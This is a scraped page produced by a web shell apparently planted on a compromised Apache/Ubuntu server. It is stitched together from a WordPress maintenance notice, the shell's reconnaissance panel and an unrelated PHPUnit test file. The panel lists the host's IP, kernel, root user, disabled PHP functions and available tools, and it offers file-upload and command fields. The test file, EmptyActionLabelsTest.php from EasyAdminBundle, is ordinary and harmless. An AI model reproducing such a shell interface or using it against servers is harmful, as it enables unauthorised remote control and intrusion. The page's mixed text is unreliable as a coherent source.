WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.32
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/easycorp/easyadmin-bundle/tests/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/easycorp/easyadmin-bundle/tests/Controller/EmptyActionLabelsTest.php
<?php

namespace EasyCorp\Bundle\EasyAdminBundle\Tests\Controller;

use EasyCorp\Bundle\EasyAdminBundle\Tests\Fixtures\AbstractTestCase;

class EmptyActionLabelsTest extends AbstractTestCase
{
    protected static $options = ['environment' => 'empty_action_labels'];

    public function testBuiltInActionLabels()
    {
        $crawler = $this->requestListView();

        // edit action
        $this->assertSame('', trim($crawler->filter('#main table tr:first-child td.actions a')->eq(0)->text(null, true)));
        $this->assertSame('fa fa-fw fa-pencil', trim($crawler->filter('#main table tr:first-child td.actions a i')->eq(0)->attr('class')));

        // delete action
        $this->assertSame('', trim($crawler->filter('#main table tr:first-child td.actions a')->eq(1)->text(null, true)));
        $this->assertSame('fa fa-fw fa-minus-circle', trim($crawler->filter('#main table tr:first-child td.actions a i')->eq(1)->attr('class')));
    }

    public function testCustomActionLabels()
    {
        $crawler = $this->requestListView();

        // custom action 1
        $this->assertSame('', trim($crawler->filter('#main table tr:first-child td.actions a')->eq(2)->text(null, true)));
        $this->assertSame('fa fa-fw fa-icon1', trim($crawler->filter('#main table tr:first-child td.actions a i')->eq(2)->attr('class')));

        // custom action 2
        $this->assertSame('', trim($crawler->filter('#main table tr:first-child td.actions a')->eq(3)->text(null, true)));
        $this->assertSame('fa fa-fw fa-icon2', trim($crawler->filter('#main table tr:first-child td.actions a i')->eq(3)->attr('class')));
    }

    public function testFalseActionLabels()
    {
        $crawler = $this->requestListView();

        // custom action with 'false' label used as a string instead of a boolean
        $this->assertSame('false', trim($crawler->filter('#main table tr:first-child td.actions a')->eq(4)->text(null, true)));
        $this->assertSame('fa fa-fw fa-icon3', trim($crawler->filter('#main table tr:first-child td.actions a i')->eq(4)->attr('class')));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit